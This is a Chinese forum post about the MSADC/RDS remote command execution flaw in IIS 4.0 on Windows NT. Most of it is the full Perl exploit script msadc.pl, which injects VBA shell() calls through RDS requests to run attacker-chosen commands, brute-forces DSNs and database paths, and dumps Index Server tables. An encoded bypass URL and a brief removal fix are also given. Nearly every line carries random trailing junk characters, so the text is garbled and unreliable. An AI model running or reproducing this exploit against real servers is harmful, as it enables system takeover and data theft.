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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) B o.x  
!tv3.:eT  
涉及程序: +|r;t  
Microsoft NT server s ,\w00-:  
IK(G%dDw  
描述: ,ZV<o!\  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 F*>:~'%  
QE)I7(  
详细: HnUM:-6  
如果你没有时间读详细内容的话,就删除: ?,]%V1(@V`  
c:\Program Files\Common Files\System\Msadc\msadcs.dll "w= p@/C  
有关的安全问题就没有了。 +che Lc  
?*K;+@EH  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 8|{:N>7  
Run)E*sf  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 yopEqO  
关于利用ODBC远程漏洞的描述,请参看: 5*[zIKdt2  
^=bJ _'  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm a36n}R4Q  
g10$pf+L  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 c~ l$_A  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp m/=,O_  
B RG1/f d  
这里不再论述。 K:z|1V  
!w]!\H  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: #p&iH9c_  
RZjTUMAz4  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ruS/Yh  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ~e{AgY)  
o B_c6]K  
'`T.K<  
#将下面这段保存为txt文件,然后: "perl -x 文件名" k`Ab*M$@Xs  
JMuUj_^}7  
#!perl '|':W6m,  
# 0?BT*  
# MSADC/RDS 'usage' (aka exploit) script [X#bDO<t  
# Ag }hyIl  
# by rain.forest.puppy gmLGK1  
# uKo)iB6D  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me j +@1frp  
# beta test and find errors! %((F} 9_6  
J^hj R%H  
use Socket; use Getopt::Std; =:P9 $  
getopts("e:vd:h:XR", \%args); ;Y?7|G97*S  
W!4GL>9m}A  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Dgj`_yd  
9x?" %b  
if (!defined $args{h} && !defined $args{R}) { 92]>"  
print qq~ @,CCwiF'q  
Usage: msadc.pl -h <host> { -d <delay> -X -v } *oY59Yf  
-h <host> = host you want to scan (ip or domain) t&mw@bj  
-d <seconds> = delay between calls, default 1 second $EN A$  
-X = dump Index Server path table, if available ?%{bMqYJD{  
-v = verbose  6?+bi\6  
-e = external dictionary file for step 5 $d:/cN 8E  
VHM,W]  
Or a -R will resume a command session pJ6bX4QnDX  
|08tQ  
~; exit;} ]r$S{<  
REW *6:  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; )$P!7$C-  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 8n?P'iM  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} "@ Zy+zLU  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); d5T0#ue/e  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} _;yp^^S  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } l|%7)2TyG)  
Dgc[WsCEW  
if (!defined $args{R}){ $ret = &has_msadc; 6G/)q8'G  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 5f=e JDo=x  
_Jj|g9b  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 2xni! *T+  
. "cmd /c "; <& 8cq@<  
$in=<STDIN>; chomp $in; A*n'"+_  
$command="cmd /c " . $in ; ! D'U:)  
|LcN_ ,}6  
if (defined $args{R}) {&load; exit;} r@e_cD] M  
5[al^'y  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; > 9JzYI^  
&try_btcustmr; 'ujt w:Z:  
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print "\nStep 2: Trying to make our own DSN..."; Fng":28o  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; .J%}ROm  
e&8pTD3  
print "\nStep 3: Trying known DSNs..."; f>\?\!  
&known_dsn; {tu* ="d=  
aP cO9  
print "\nStep 4: Trying known .mdbs..."; UI<'T3b  
&known_mdb; QD+dP nZu  
L G,XhN  
if (defined $args{e}){ 5;>M&qmN  
print "\nStep 5: Trying dictionary of DSN names...";  3i?{E ^  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } w/d9S(  
pk}*0Y-  
print "Sorry Charley...maybe next time?\n"; W5 fO1F  
exit; iq5h[  
O(~`fN?n  
############################################################################## q}ZZqYk  
C(}9  
sub sendraw { # ripped and modded from whisker AjAmV hq  
sleep($delay); # it's a DoS on the server! At least on mine... %Q1v8l.}  
my ($pstr)=@_; 'RQZU*8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 5}*aP  
die("Socket problems\n"); x@v,qF$K  
if(connect(S,pack "SnA4x8",2,80,$target)){ _AI2\e  
select(S); $|=1; ,":"Op61  
print $pstr; my @in=<S>; d+fmVM?p  
select(STDOUT); close(S); 3hO` GM  
return @in; #T#&qo#  
} else { die("Can't connect...\n"); }} ~< Gs<c}z  
gLl?e8[F  
############################################################################## Z)P x6\?+  
: 60PO  
sub make_header { # make the HTTP request _#f/VE  
my $msadc=<<EOT /:ma}qG y  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 qAR~js`5  
User-Agent: ACTIVEDATA 73Mh65  
Host: $ip Ad@))o2  
Content-Length: $clen 6}C4 SZ  
Connection: Keep-Alive ?tqTG2!(  
BxG0vJN|  
ADCClientVersion:01.06 L.U [eH  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 %j2YCV7  
b[GZ sXD-  
--!ADM!ROX!YOUR!WORLD! .X_k[l9  
Content-Type: application/x-varg MA(\ r  
Content-Length: $reqlen p'KU!I }  
[Gh T.  
EOT  ;lW0p8  
; $msadc=~s/\n/\r\n/g; 8@6:UR.)  
return $msadc;} E|6X.Ny]   
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############################################################################## hP3I_I[qF}  
t.lm`=  
sub make_req { # make the RDS request b]4yFwb  
my ($switch, $p1, $p2)=@_; P~ffgzP  
my $req=""; my $t1, $t2, $query, $dsn; e_k1pox]l  
Z7k {7  
if ($switch==1){ # this is the btcustmr.mdb query u;!CQ w/  
$query="Select * from Customers where City=" . make_shell(); }`f%"Z  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . G!XizhE  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} !rTh+F*  
oIoJBn  
elsif ($switch==2){ # this is general make table query S@N&W&W#~  
$query="create table AZZ (B int, C varchar(10))"; Q&`$:h.~  
$dsn="$p1";} d?b2jZ$r]  
WZ6!VE {  
elsif ($switch==3){ # this is general exploit table query JY9Hqf  
$query="select * from AZZ where C=" . make_shell(); =]-!  
$dsn="$p1";} (yc$W9  
FEU$D\1y  
elsif ($switch==4){ # attempt to hork file info from index server a(d'iAU8^  
$query="select path from scope()"; r'{pTgm#  
$dsn="Provider=MSIDXS;";} <wj2:Z0  
f[%\LHq  
elsif ($switch==5){ # bad query ;`X-.45  
$query="select"; p7zHP  
$dsn="$p1";} 5_G7XBvD/w  
V)!Oss;i  
$t1= make_unicode($query); '(^p$=3|@D  
$t2= make_unicode($dsn); LeQ2,/7l:  
$req = "\x02\x00\x03\x00"; >@ h0@N  
$req.= "\x08\x00" . pack ("S1", length($t1)); jpm}EOq<%  
$req.= "\x00\x00" . $t1 ; Be8Gx  
$req.= "\x08\x00" . pack ("S1", length($t2)); ;X|;/@@  
$req.= "\x00\x00" . $t2 ; h-lMrI)U?h  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; dr,j~s  
return $req;} 6$fC R  
cCyg&% zsT  
##############################################################################  gT O%  
Ujq)h:`  
sub make_shell { # this makes the shell() statement ^row=5]E  
return "'|shell(\"$command\")|'";} AWD &K!  
2[j|:Ng7  
############################################################################## ou,W|<%  
r-4I{GPb  
sub make_unicode { # quick little function to convert to unicode ]y.,J  
my ($in)=@_; my $out; J +<|8D  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 7-W(gD!`  
return $out;} PJO;[: .I  
>4LX!^V"  
############################################################################## .N/4+[2p(  
PM%./  
sub rdo_success { # checks for RDO return success (this is kludge) gJ vc<]W8!  
my (@in) = @_; my $base=content_start(@in); nfRo:@  
if($in[$base]=~/multipart\/mixed/){ &/=xtO/Z{  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ^C<dr}8  
return 0;} 47$JN}qI0  
Og30&a!~F  
############################################################################## mc!3FJ  
7@+0E 2'  
sub make_dsn { # this makes a DSN for us %4n=qK9T 5  
my @drives=("c","d","e","f"); FY#`]124*  
print "\nMaking DSN: "; (z^2LaM `8  
foreach $drive (@drives) { tet  
print "$drive: "; D=9x/ ) *G  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 6D0uLh  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" .!)7x3|$[  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); -bo0!@MK  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; -J? df  
return 0 if $2 eq "404"; # not found/doesn't exist {nj\dU  
if($2 eq "200") { BtU,1`El5  
foreach $line (@results) { !X[lNt O  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} %[NefA(  
} return 0;} ~a/yLI"'g  
prIq9U|@  
############################################################################## AbcLHV.  
<@;eN&  
sub verify_exists { 2uiiTg>  
my ($page)=@_; ~POe0!}  
my @results=sendraw("GET $page HTTP/1.0\n\n"); (_<ruwV]`  
return $results[0];} ukG1<j7.  
4:6@9.VVT  
############################################################################## f"k/j?e*  
|$bZO`^  
sub try_btcustmr { joM98H@  
my @drives=("c","d","e","f"); H3 `%#wQ0j  
my @dirs=("winnt","winnt35","winnt351","win","windows"); OP:;?Fs9`  
]!0*k#i_.  
foreach $dir (@dirs) { u7a4taM$d  
print "$dir -> "; # fun status so you can see progress nwO;>Qr  
foreach $drive (@drives) { .bL{fBTT~  
print "$drive: "; # ditto {wA@5+[  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; `33h4G  
$reqlenlen=length( "$reqlen" ); @X1>Wv|[  
$clen= 206 + $reqlenlen + $reqlen; OaU$ [Z'8  
 0m*0I >  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Q#:,s8TW[  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ly, d =  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} +=O8t0y n  
QM;L>e-ZY  
############################################################################## ^f3F~XhY3  
m[Zz(tL  
sub odbc_error { kFuaLEJi  
my (@in)=@_; my $base; TioI$?l>W(  
my $base = content_start(@in); \B2=E  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this +T UtVG  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; z KJ6j]m  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; RQ/X{<lQ)  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; wPqIy}-  
return $in[$base+4].$in[$base+5].$in[$base+6];} q;B-np?U  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; EZBk;*= B  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . m"+9[d_u  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 4fpz;2%  
yt_?4Hc"  
############################################################################## T(3"bS.,  
2v%~KV  
sub verbose { +-8uIqZ  
my ($in)=@_; -V4@BKI8  
return if !$verbose; %&z9^}Vd[  
print STDOUT "\n$in\n";} chfj|Ce]x  
Fz>J7(Y.j  
############################################################################## (h`||48d  
6ng . =  
sub save { _W?}%;  
my ($p1, $p2, $p3, $p4)=@_; ApS/,cV  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; cB?HMLbG>  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; | L fH,6  
close OUT;} A")B<BK  
(*"R"Y  
############################################################################## +J+]P\:  
YSv\T '3  
sub load { CQ3;NY=o  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; = #ocp  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); my*UN_]  
@p=<IN>; close(IN); fn;7Nf7{  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); :5h&f  
$target= inet_aton($ip) || die("inet_aton problems"); 3haY{CEr  
print "Resuming to $ip ..."; H={fY:%  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; bl}$x/  
if($p[1]==1) { 1 ht4LRFi  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; p,ZubR J"  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; oOQnV(I  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); #sNa}292"  
if (rdo_success(@results)){print "Success!\n";} 0)9GkHVu(  
else { print "failed\n"; verbose(odbc_error(@results));}} k)y0V:ZY]O  
elsif ($p[1]==3){ pm<<!`w"  
if(run_query("$p[3]")){  bQ  
print "Success!\n";} else { print "failed\n"; }} m}F1sRkdQ  
elsif ($p[1]==4){ Ep?a1&b  
if(run_query($drvst . "$p[3]")){ G^ n|9)CVW  
print "Success!\n"; } else { print "failed\n"; }} 8]2S'm xE  
exit;} i,* DWD+  
n6ud;jN|  
############################################################################## !BK^5,4?--  
)"j_ NlO  
sub create_table { a>""MC2  
my ($in)=@_; <8j n_6  
$reqlen=length( make_req(2,$in,"") ) - 28; Q"QrbU  
$reqlenlen=length( "$reqlen" ); 5l{_E:.1  
$clen= 206 + $reqlenlen + $reqlen; I 9tdr<  
my @results=sendraw(make_header() . make_req(2,$in,"")); C5;"mo-  
return 1 if rdo_success(@results); SM0=  
my $temp= odbc_error(@results); verbose($temp); =B;rj  
return 1 if $temp=~/Table 'AZZ' already exists/; Xo]FOJ 5  
return 0;} q]'VVlP)  
w3,QT}WvY  
############################################################################## <0&];5 on  
yK[ ~(!c5  
sub known_dsn { ?WUu@Z  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go )RA7Y}e|m  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", F>!fu.Ws  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", |%b'L.$4  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); *:GoS?Ma  
-+O8v;aC'  
foreach $dSn (@dsns) { ! =|{  
print "."; gqG l>=.m  
next if (!is_access("DSN=$dSn")); @0Tm>s  
if(create_table("DSN=$dSn")){ 7j._3'M=Kc  
print "$dSn successful\n"; RHE< QG  
if(run_query("DSN=$dSn")){ `?`\!uP"  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { $Fr$9 jq&  
print "Something's borked. Use verbose next time\n";}}} print "\n";} -C.eXR{s  
DAc jx:~  
############################################################################## h9SS o0]F  
Wp T.25  
sub is_access { o5AyJuS-u$  
my ($in)=@_; coU`2n/  
$reqlen=length( make_req(5,$in,"") ) - 28; wGb{O  
$reqlenlen=length( "$reqlen" ); 9SMM%(3, r  
$clen= 206 + $reqlenlen + $reqlen; s)&"g a  
my @results=sendraw(make_header() . make_req(5,$in,"")); 1xcx2L+R  
my $temp= odbc_error(@results); =}_c=z?UY  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 7F.>M  
return 0;} g[:5@fI#*  
MqXA8D  
############################################################################## d+"KXt5CV  
qdO^)uJJ  
sub run_query { 2u#{K9g  
my ($in)=@_; 1 5rE|m^  
$reqlen=length( make_req(3,$in,"") ) - 28; PvKe|In(  
$reqlenlen=length( "$reqlen" ); tA'i-D&  
$clen= 206 + $reqlenlen + $reqlen; ,!bOzth2>K  
my @results=sendraw(make_header() . make_req(3,$in,"")); N b(se*Y#  
return 1 if rdo_success(@results); ;jI\MZ~l\  
my $temp= odbc_error(@results); verbose($temp); `(Ei-$ >U&  
return 0;} $]Y' [pE@  
\/{qE hP  
############################################################################## AF **@iG  
(Z6[a{}1i  
sub known_mdb { lzl4pnj  
my @drives=("c","d","e","f","g"); >8jDW "Ua  
my @dirs=("winnt","winnt35","winnt351","win","windows"); m,]Tl;f  
my $dir, $drive, $mdb; o<T>G{XYB  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; (7-K4j`   
u4fTC})4{C  
# this is sparse, because I don't know of many P,tN;c  
my @sysmdbs=( "\\catroot\\icatalog.mdb", o3}12i S  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 0*q~(.>a  
"\\system32\\certmdb.mdb", P),%S9jP;  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% "eGS~-DVK  
M,y='*\M  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", c( gUH  
"\\cfusion\\cfapps\\forums\\forums_.mdb", H$\?D+xlf  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", qF( ]Ce  
"\\cfusion\\cfapps\\security\\realm_.mdb", 2yeq2v   
"\\cfusion\\cfapps\\security\\data\\realm.mdb", KasOh"W.P  
"\\cfusion\\database\\cfexamples.mdb", v  mw7H  
"\\cfusion\\database\\cfsnippets.mdb", xAz gQ  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ^!Bpev  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", x{Gih 1  
"\\cfusion\\brighttiger\\database\\cleam.mdb", eYR/kZ %<  
"\\cfusion\\database\\smpolicy.mdb", ^k u~m5v  
"\\cfusion\\database\cypress.mdb", t41\nTZr  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", | %6B#uy  
"\\website\\cgi-win\\dbsample.mdb", 8>O'_6Joj  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ?55('+{l  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" c.jnPVf:  
); #these are just qWQJ>  
foreach $drive (@drives) { <*4=sX@  
foreach $dir (@dirs){ c WK@O>  
foreach $mdb (@sysmdbs) { VO++(G)  
print "."; F~RUb&*/<  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ MQR2UK (  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; u'?t'I  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ mb\vHu*53  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; a$;+-Y  
} else { print "Something's borked. Use verbose next time\n"; }}}}} `Gsh<.w!7  
u%ih7v!r\  
foreach $drive (@drives) { :!{aey  
foreach $mdb (@mdbs) { hhYo9jTHW  
print "."; | b@?]M  
if(create_table($drv . $drive . $dir . $mdb)){ ,0#OA* 0B  
print "\n" . $drive . $dir . $mdb . " successful\n"; F(SeD)ml  
if(run_query($drv . $drive . $dir . $mdb)){ jzzVZ%t  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; /[{?zS{  
} else { print "Something's borked. Use verbose next time\n"; }}}} t}*teo[  
} wiwJD}3h'  
R<JI  
############################################################################## j7"E0Wc^o_  
_jeub [  
sub hork_idx { S :(1=@  
print "\nAttempting to dump Index Server tables...\n"; .@=d I  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; %}$6#5"';  
$reqlen=length( make_req(4,"","") ) - 28; =PO/Q|-v?  
$reqlenlen=length( "$reqlen" ); 5'oWd e  
$clen= 206 + $reqlenlen + $reqlen; QKHmOVh]  
my @results=sendraw2(make_header() . make_req(4,"","")); Qj3UO]>  
if (rdo_success(@results)){ Or6'5e?N  
my $max=@results; my $c; my %d; *OsXjL`f  
for($c=19; $c<$max; $c++){ K8e>sU.  
$results[$c]=~s/\x00//g; @h ^5*M  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; TR ]lP<m  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Q^0K8>G^  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; _KD(V2W  
$d{"$1$2"}="";} 5|H?L@_9  
foreach $c (keys %d){ print "$c\n"; } Snh\Fgdz  
} else {print "Index server doesn't seem to be installed.\n"; }} #Oe=G:+A  
Fb-NG.Z#  
############################################################################## S:^Q(w7  
a?+) K  
sub dsn_dict { _Zb_9&  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Xwx;m/  
while(<IN>){ q$EVd9aN  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ^!kv gm<{$  
next if (!is_access("DSN=$dSn")); 6EPC$*Xp!  
if(create_table("DSN=$dSn")){ hpAIIgn  
print "$dSn successful\n"; BDB-OJ  
if(run_query("DSN=$dSn")){ L6Ynid.k  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { %e1<N8E4  
print "Something's borked. Use verbose next time\n";}}} dIM:U :c  
print "\n"; close(IN);} V(w[`^I>~  
5i1>z{  
############################################################################## NWoZDsu  
YK}(VF?&  
sub sendraw2 { # ripped and modded from whisker y& Dd  
sleep($delay); # it's a DoS on the server! At least on mine... "rAm6b-`  
my ($pstr)=@_; 1J<-P9 vk+  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 2<B+ID3qv  
die("Socket problems\n"); U*6-Y%7  
if(connect(S,pack "SnA4x8",2,80,$target)){ n,AN&BZ  
print "Connected. Getting data"; B]]M?pS  
open(OUT,">raw.out"); my @in; (:[><-h.  
select(S); $|=1; print $pstr; 4@8i,q>  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Z;%qpsq  
close(OUT); select(STDOUT); close(S); return @in; Ex@#!fz{%  
} else { die("Can't connect...\n"); }} 59EAqz[:  
?m~x%[Vn  
############################################################################## mTs[3opg  
y()#FRp7  
sub content_start { # this will take in the server headers hs/nM"V  
my (@in)=@_; my $c;  OSSMIPr  
for ($c=1;$c<500;$c++) { XP(q=Mw  
if($in[$c] =~/^\x0d\x0a/){ <|m"Q!f  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } C?E;sRr0  
else { return $c+1; }}} O#k?c }  
return -1;} # it should never get here actually 1TbKnmTx  
'fg`td  
############################################################################## ,xR^8G 8  
:X ;8$.z  
sub funky { C[x!Lf8'  
my (@in)=@_; my $error=odbc_error(@in); &"L3U  
if($error=~/ADO could not find the specified provider/){ s"sX# l[J  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Z#o o8  
exit;} 3mBr nq]j>  
if($error=~/A Handler is required/){ f'#7i@Je  
print "\nServer has custom handler filters (they most likely are patched)\n"; <p<gx*%  
exit;} $jw!DrE  
if($error=~/specified Handler has denied Access/){ AE<AEq  
print "\nServer has custom handler filters (they most likely are patched)\n"; *1elUI2Rg  
exit;}} &Nec(q<  
@A yC0}  
############################################################################## h,\_F#hi  
7p~@S4  
sub has_msadc { 6X'RCJu%  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); QU417EV'  
my $base=content_start(@results); 6aj)Fe'2  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); b$B5sKQ  
return 0;} <89 js87  
}K&K{ 9}  
######################## S:t7U %  
"E'OP R  
]")i~-|R  
解决方案: np)-Yzr  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll i5)trSM|  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 rT"8e*LT  
M g;;o  
拿出来充数 哈哈
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